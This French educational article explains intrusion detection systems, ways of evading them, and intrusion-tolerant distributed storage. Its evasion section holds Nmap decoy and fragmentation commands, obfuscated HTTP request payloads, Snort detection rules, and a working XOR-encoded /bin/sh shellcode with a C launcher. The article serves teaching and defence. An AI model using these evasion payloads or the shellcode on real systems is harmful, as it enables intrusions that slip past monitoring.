I. Introduction

Les systèmes d'information sont aujourd'hui de plus en plus ouverts sur Internet. Il en découle un nombre croissant d'attaques. Une politique de sécurité autour de ces systèmes est donc primordiale. Outre la mise en place de pare-feu, de systèmes d'authentification, il est nécessaire pour compléter cette politique de sécurité, d'avoir des outils de surveillance pour auditer le système d'information et détecter d'éventuelles intrusions. Ce que nous appelons intrusion signifie pénétration des systèmes d'information mais aussi tentatives des utilisateurs locaux d'accéder à de plus hauts privilèges ou tentatives des administrateurs d'abuser de leurs privilèges.

II. Les détecteurs d'intrusions

Le domaine de la détection d'intrusion est encore jeune mais en plein développement. Nous dénombrons à l'heure actuelle environ une centaine de systèmes de détections d'intrusions (ou IDS pour Intrusion Détection System), que ce soit des produits commerciaux ou du domaine public. Il est donc devenu très utile d'utiliser des critères pour classifier ces IDS. C'est ce que nous allons présenter dans la suite de cet article.

A. Les principes d'analyse

La méthode d'analyse est le principal critère pour sélectionner un IDS. Deux méthodes existent aujourd'hui : l'approche comportementale et l'approche par scénarios.

L'approche comportementale consiste à analyser si un utilisateur a eu un comportement anormal par rapport à son habitude. Par exemple, la secrétaire qui se connecte la nuit à certaines heures, en plus de la journée serait pour l'IDS un comportement inhabituel. Il se base pour cela sur un modèle statistique : des variables seront définies (ici la plage horaire des connections de la secrétaire par jour), et représenteront le profil type (comportement normal) d'un utilisateur. Des recherches sont faites aujourd'hui pour appliquer cette approche sur les réseaux de neurones. La technique est de leur apprendre le comportement normal de l'utilisateur.

Contrairement à l'approche comportementale qui est une analyse plutot aléatoire, l'approche par scénarios nécessite une base de données d'attaques, plus exactement des signatures d'attaques, pour effectuer l'analyse. Une comparaison de ces signatures avec les paquets que l'IDS capture concluera s'il y a eu oui ou non intrusion. C'est ce qui s'appelle le 'pattern matching'.

Chacune de ces approches a ses avantages et ses inconvénients. L'approche comportementale permet de détecter des attaques inconnues (meme s'il est difficile d'établir des profils). Elle ne nécessite pas non plus de construction de base d'attaques, et donc d'un suivi de cette base, mais peut-etre victime de faux positifs : l'IDS détecte des attaques qui n'en sont pas (le cote aléatoire de la méthode). Nous verrons plus loin comment se servir de ce défaut pour passer au travers d'un IDS. Pour l'approche par scénarios, c'est l'inverse. L'IDS se base sur des attaques connues pour effectuer son analyse, mais il est difficile de maintenir cette base de signatures.

B. Les autres critères

D'autres critères permettent de classer les IDS. Nous n'allons que brièvement en parler meme s'ils ont leur importance:

  • Les sources de données à analyser : un IDS dispose des données système et réseau à analyser. Les données système représentent les fichiers de logs générés par le système d'exploitation ou les applications (historique des commandes systèmes, accounting ...). Les données réseau représentent le trafic qui circule sur le réseau. Pour notre culture générale, les IDS analysant les données système portent le nom de Host-based Intrusion Detection Systems ou HIDS tandis que ceux analysant les données réseau s'appellent des NIDS pour Network Intrusion Détection System.
  • Le comportement de l'IDS après intrusion : il peut etre passif, une simple alerte est envoyée à l'administrateur par exemple; ou actif, l'IDS dans ce cas essaye de contrer l'attaque. Mais sachez que les IDS actuels se comportent généralement passivement.
  • La fréquence d'utilisation : l'IDS analyse de manière périodique ou continue les traces, cette dernière étant plutôt adaptée aux NIDS pour la surveillance des paquets réseaux.

C. Lequel choisir finalement ?

L'idéal serait évidemment un système de détection d'intrusions qui remplisse tous ces critères. Nous avons pu voir dans la présentation des différentes techniques d'analyse qu'elles étaient complémentaires. Aucune approche n'est dominante et c'est justement une erreur que de développer une seule méthode d'analyse dans un IDS.

III. Outre-passer les IDS

Les systèmes de détection d'intrusions présentent des limites quant a leur utilité. Nous avons vu précédemment que l'IDS pouvait etre victime de faux positifs, avoir une base de données d'attaques obsolète... A cause de ces limites, des techniques pour attaquer ou passer au travers des IDS et plus particulièrement des NIDS se sont développées. Elles sont nombreuses et je ne pourrai pas les aborder de façon détaillée dans ce document. Je les listerai donc en donnant une explication assez succincte de celles-ci, sachant qu'elles peuvent s'appliquer à certains IDS et non à d'autres.

A. Les attaques réseaux

Le but principal est de réduire les possibilités du NIDS à détecter les attaques :

  • Par les méthodes classiques de scan : les scans furtifs SYN, FIN, XMAS, NULL implémentés par le très connu Nmap (http://www.insecure.org/nmap) permettent de ne pas etre détectes par les NIDS. Le but du scan SYN par exemple (le plus simple) est de ne pas ouvrir une connexion complètement. A la réception d'un SYN/ACK qui signifie que le port est ouvert, il envoit un RST pour interrompre la connexion. Aucune connexion n'est donc faite tout en sachant quels ports sont ouverts. Je vous invite à lire le document à l'adresse http://www.insecure.org/nmap/p51-11.txt. Meme si ces méthodes sont aujourd'hui classiques, elles sont encore très efficaces.
  • Par le flood : tout comme n'importe quel serveur sur Internet, un NIDS peut etre victime de flood, c'est à dire d'un trafic très important. Etant surchargé, il détecte donc peu ou pas d'attaques en conséquence.
  • Par la méthode Decoy de Nmap : le principe est de le surcharger de fausses attaques simultanées (avec de fausses adresses sources) tout en lancant une attaque réelle sur un hote choisi. Elle passera inapercue aux yeux de l'administrateur qui sera occupé à analyser tous les logs. Nmap avec l'option Decoy permet cette attaque : $nmap -sS -D11.11.11.11,[mon adresse],22.22.22.22 -O -p25 localhost
  • Par fragmentation : le principe est de fragmenter les paquets IP, c'est à dire de les découper en paquets de plus petites tailles pour empecher les NIDS de détecter les attaques (les paquets étant réassemblés au niveau du destinataire). Exemple toujours avec nmap : $nmap -f -sS -F -O localhost Fragrouter disponible à l'url http://www.anzen.com/research/nidsbench permet aussi cette attaque.
  • Des scans très lents : le fait de scanner un réseau très lentement, c'est à dire un scan toutes les heures, n'est souvent pas détecté. Les NIDS maintiennent un état de l'information (TCP, IP Fragments, TCP Scan ...) pendant une période bien définie (tout dépend de la mémoire ). Donc si deux scans consécutifs n'appartiennent pas à la meme période, le NIDS peut ne rien détecter.

B. Les techniques de RFP

Rain Forest Puppy ou RFP a développé plusieurs techniques anti-IDS au niveau du protocole HTTP qu'il a implémenté dans son scanner cgi Whisker (http://www.wiretrip.net/rfp).

Le principe meme de ces techniques est de lancer les attaques sous une forme différente de celles référencées dans la base de signatures des IDS. Les requetes HTTP ne seront alors pas "matchées" (au sens pattern matching que nous avons vu précédemment). Il rend complexe ces attaques afin que les IDS ne puissent pas les détectent. Il est important aussi de savoir que les techniques suivantes peuvent etre combinées ensemble, selon le système attaqué.

  • Encodage : cette technique code les caractères sous la forme hexadécimale. L'URL sera tout de meme comprise par le protocole HTTP.
  • Double slashes : avec cette méthode, notre requete est de la forme '//cgi-bin//script'. Les IDS vérifiant les requetes de la forme '/cgi-bin/script', nous passons au travers de l'IDS.
  • Self-reference directories : une autre technique est de remplacer tous les '/' par '/./'. C'est normal puisque sous Unix par exemple, '/tmp/./././././' est équivalent à '/tmp/'. Notre requete n'est alors pas détectée.
  • Simulez la fin d'une requete : pour cette tactique, nous utilisons une requete de la forme : HEAD /%20HTTP/1.0%0d%0aHeader:%20/../../cgi-bin/some.cgi HTTP/1.0\r\n\r\n qui est l'equivalent de : HEAD / HTTP/1.0\r\nHeader: /../../cgi-bin/some.cgi HTTP/1.0\r\n\r\n Cette URL est valide. L'IDS analyse la première partie de l'URL et s'arréte au premier HTTP/1.0\r\n. Le reste de la requete qui représente notre attaque passe l'IDS sans etre analysée.
  • Paramètre caché : cette technique est assez simple. Certains IDS cherchent le nom du script avant '?'. Si nous remplacons '?' par sa valeur en ASCII (?), c'est à dire '%3f', l'IDS échoue et la requete est valide.
  • Formatage : le principe est de remplacer les espaces par des tabulations.
  • Longue URL : certains IDS ne regardent que le début d'une URL, il est donc possible de créer une longue URL pour tromper l'IDS : HEAD /abcabcabcabc/../cgi-bin/some.cgi HTTP/1.0 Le répertoire 'abcabcabcabc' n'est évidemment pas un répertoire valide, mais si nous le faisons suivre de la séquence .. qui correspond à un retour dans le répertoire parent, notre requete est valide. Dans notre cas, nous retournons à la racine du serveur web.
  • Case sensitive : très simple aussi, cette technique consiste à remplacer les minuscules par des majuscules. La requete est toujours valide.
  • Syntaxe de Bill : le principe est d'utiliser la syntaxe Windows/DOS dans les URLs en remplacant certains '/' par '\'.
  • Caractère Null : le but est d'envoyer une URL de cette forme : HEAD%00 /cgi-bin/some.cgi HTTP/1.0 En analysant cette chaine de caractères, l'IDS s'arrete au moment où il atteind le caractère NULL. La suite de l'URL n'est pas analysée.
  • Url coupée : la requete HTTP est coupée en plusieurs paquets TCP. L'url "GET /cgi/bin/phf" deviend par exemple "GET", "/cgi/b", "in/ph" "f HTTP/1.0". Agissant de facon similaire à la fragmentation réseau, notre attaque n'est pas détectée.

C. Les tactiques au niveau des buffers overflows

Parmi les attaques que l'IDS peut détecter, il y a les attaques de type buffer overflow. Il analyse pour cela le trafic à la recherche de chaines de caractères telles que "/bin/sh","0x90" (NOP) ... Je ne décrirais pas ici comment fonctionne un buffer overflow, ca n'est pas le but et d'autres articles sont déja parus a ce sujet.

1. Filtrage des NOPs

Nous savons que les attaques de type buffer overflow utilisent une série de NOP (0x90 sur plate-forme x86). Nous trouvons généralement dans un exploit, la séquence:

 
Sélectionnez

for(i=0;i<(LEN-strlen(shellcode));i++){
	*(bof+i) = 0x90;
}

Le principe dans la détection est donc le suivant : il analyse le trafic, regarde s'il voit passer une série de caractères "0x90" et agit en conséquence.

Voici un exemple de règle de Snort:

 
Sélectionnez

[rules]
alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"EXPLOIT x86 NOOP";
    content:"|9090 9090 9090 9090 9090 9090 9090 9090|";
    reference:arachnids,181;) 

Avant de continuer, je précise que Snort est un IDS très connu sous licence GPL que vous pouvez trouver a l'URL : http://www.snort.org.

Le but ici, est de trouver une instruction équivalente aux NOPs afin de rendre notre attaque indétectable. Il suffit de remplacer 0x90 par 0x41:

 
Sélectionnez

for(i=0;i<(LEN-strlen(shellcode));i++){
	*(bof+i) = 0x41;
}

Pourquoi '0x41' ? Cette instruction '0x41' (équivalente à la lettre 'A' en ascii) représente en assembleur 'inc %ecx' (elle incrémente de 1 la valeur du registre %ecx). Quelque soit la valeur de %ecx, cette instruction n'a aucune importance dans le contexte de l'exploit. Elle a donc les memes avantages que l'instruction NOP : codée sur un octet et ne faisant rien.

2. Filtrage du shellcode

Un exemple de règle toujours avec Snort:

 
Sélectionnez

[rule]
alert tcp $EXTERNAL_NET any -> $HOME_NET 515 (msg:"EXPLOIT LPRng overflow"; 
flags: A+; content: "/43 07 89 5B 08 8D 4B 08 89 43 0C B0 0B CD 80 31 C0 FE C0
CD 80 E8 94 FF FF FF 2F 62 69 6E 2F 73 68/"; reference:bugtraq,1712;)

Snort analyse donc le traffic et recherche la chaine du shellcode. Elle correspond à une partie du shellcode de l'exploit rdC-LPRng.c (LPRng-3.6.24-1) :

 
Sélectionnez

"\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0"
"\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68"

La technique est simple: si nous modifions ou changeons le shellcode de l'exploit, l'IDS (dans notre cas Snort) ne détecte plus l'attaque.

Par exemple, l'instruction :

 
Sélectionnez

xorl %eax,%eax	
\x31\xc0

qui met a NULL le registre %eax peut aussi s'écrire :

 
Sélectionnez

subl %eax,%eax
\x29\xc0

Il arrive aussi que l'IDS cherche à détecter la chaine de caractères /bin/sh. Pour passer au travers de cette détection, une des methodes est de crypter par un simple XOR cette chaine et le shellcode la décrypte ensuite au moment ou il s'execute. Voici un exemple de shellcode :

 
Sélectionnez

/*
 *  Linux/x86
 *  
 *  décrypte /bin/sh ( XOR ) avec une cle = 'X' 
 *  execve() de /bin/sh et exit() 
 *  
 *  Samuel Dralet (samuel.dralet@mastersecurity.fr) 
 */

/* Code asm */
/*
int main()
{
asm("jmp foo 

bar:
        popl    %ebx

        movl    $0x58585858,%edx
        xor     %edx,(%ebx)      //pour récupérer "/bin"
        xor     %edx,4(%eb)      //pour récupérer "/sh"
        xor     %edx,%edx

        movl    %ebx,0x8(%esp)
        movl    %edx,0xc(%esp)
        subl    %eax,%eax
        movb    $0xb,%al
        leal    0x8(%esp),%ecx
        int     $0x80

        subl    %eax,%eax
        incl    %eax
        int     $0x80

foo:
        call bar 
        .string \"\\x77\\x3a\\x31\\x36\\x77\\x2b\\x30\\x58\"
");
}
*/

char 
blah[]=
"\xeb\x24\x5b\xba\x58\x58\x58\x58\x31\x13\x31\x53\x04\x31\xd2\x89"
"\x5c\x24\x08\x89\x54\x24\x0c\x29\xc0\xb0\x0b\x8d\x4c\x24\x08\xcd\x80\x29"
"\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff"
"\x77\x3a\x31\x36\x77\x2b\x30\x58";

int 
main()
{
  int (*funct)();
  funct = (int (*)()) blah;
  (int)(*funct)();
}

Le principe de ce shellcode est de décrypter la chaine /bin/sh qui est représentée par '.string \"\\x77\\x3a\\x31\\x36\\x77\\x2b\\x30\\x58\"' avec la clé "X" représentée par 'movl $0x58585858,%edx'. Il passe ensuite la chaine "/bin/sh" en argument à execve().

3. ADMutate

Récemment, K2 a presenté son outil ADMutate au CanSecWest. Il utilise justement ces techniques anti-IDS au niveau des attaques de type buffer overflow mais en utilisant le polymorphisme pour créer les shellcodes, technique qu'il a empreinté aux virus. C'est à dire que son shellcode est capable de se modifier tout seul. Il est donc plus difficile à détecter. Vous pouvez trouver cet outil à l'url : ftp://adm.freelsd.net/ADM/ADMmutate-0.7.3.tar.gz

D. D'autres techniques anti-ids

Je n'ai pu aborder toutes les techniques mais sachez qu'il en existe de nombreuses. Le fait par exemple de changer le port sur lequel agit un cheval de troie. Je n'ai pas abordé non plus les notions d'IP Spoofing mais elles font parties des techniques anti-ids.

IV. La tolérance d'intrusion

Comme vous avez pu le voir, les systèmes de détection d'intrusions ne sont pas infaillibles. Vous etes alors en train de vous demander quel système peut nous assurer un maximum de sécurité. Il existe une alternative à ces systèmes qui sont les systèmes distribues à tolérance d'intrusions.

A. Définition

Voici une définition issue de la documentation "Intrusion Tolérance in Distributed Computing Systems" que vous trouverez dans les références :

"An intrusion-tolerant distributed system is a system which is designed so that any intrusion into a part of the system will not endanger confidentiality, integrity and availability".

"Un système distribué à tolérance d'intrusions est un système dont le but est de ne pas mettre en danger la confidentialité , l'intégrité et la disponibilité en cas d'intrusion dans une partie du système".

Pour etre plus clair, le concept de tolérance d'intrusion peut etre utilisé sur des systèmes distribués de par leur nature à distribuer, répartir de l'information à plusieurs endroits géographiques. Donc, si nous considérons que notre information sensible est répartie sur plusieurs sites, un pirate meme s'il a réussi à s'introduire sur une partie de notre système ne pourra récupérer qu'une partie de l'information sans aucune signification pour lui.

Mais de quelle manière est implémenté ce concept de tolérance d'intrusion ?

B. La technique de 'fragmentation-redundancy-scattering'

Cette technique consiste à éclater en plusieurs fragments l'information sensible. Les fragments seront ensuite enregistrés sur plusieurs sites géographiques sans qu'ils aient une relation entre eux. C'est le 'scattering'. Donc si un pirate veut récupérer la totalité de l'information, il doit prendre la main sur l'ensemble des sites. Ce que nous appelons information sensible regroupe les données, les programmes et les droits d'accès. Avec la technique de fragmentation-scattering, nous tolérons donc un certain nombre d'intrusions tout en gardant une confidentialité et une integrité de l'information.

A cette tolérance d'intrusions, nous ajoutons la tolérance de destruction des informations grace à une redondance des fragments. Plusieurs copies de chaque fragment sont archivées sur plusieurs sites différents. Une disponibilité de l'information est donc assurée.

Fragmentation-redundancy-scattering sur un fichier
Fragmentation-redundancy-scattering sur un fichier

Cette technique fournit donc tous les services nécessaires à la sécurité de l'information, et semble etre une bonne alternative aux systèmes de détection d'intrusion.

Si vous voulez avoir plus de renseignements, notamment les caractéristiques des différents sites d'un système distribué à tolérance d'intrusions, je vous conseille de lire les deux documents en référence de Yves Deswarte, Laurent Blain, et Jean-Charles Fabre.

V. Conclusion

Le domaine des systèmes de détection d'intrusions est un sujet très vaste. J'aurais pu parler des honey pots, cette nouvelle méthode de détection d'intrusions et du projet Honeynet (http://project.honeynet.org), de la facon de placer un IDS dans un système d'information en complément du firewall. Toutefois, nous pouvons conclure que les IDS sont loin d'etre infaillibles meme s'ils apportent un complément à la sécurité du système d'information.

Références

  • [1] "FAQ: Network Intrusion Detection Systems" - Robert Graham
    http://www.robertgraham.com/pubs/network-intrusion-detection.html
  • [2] "A look at whisker's anti-IDS tactis" - RFP
    http://www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html
  • [3] Le projet TSF (Tolérance aux Fautes et Sureté de Fonctionnement Informatique) http://www.laas.fr/TSF/TSF.html
  • [4] "Intrusion Tolerance in Distributed Computing Systems" - Yves Deswarte, Laurent Blain, Jean-Charles Fabre
    ftp://ftp.laas.fr/pub/Publications/1990/90373.ps

Licence GFDL

Copyright (c) 2006 Samuel Dralet. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".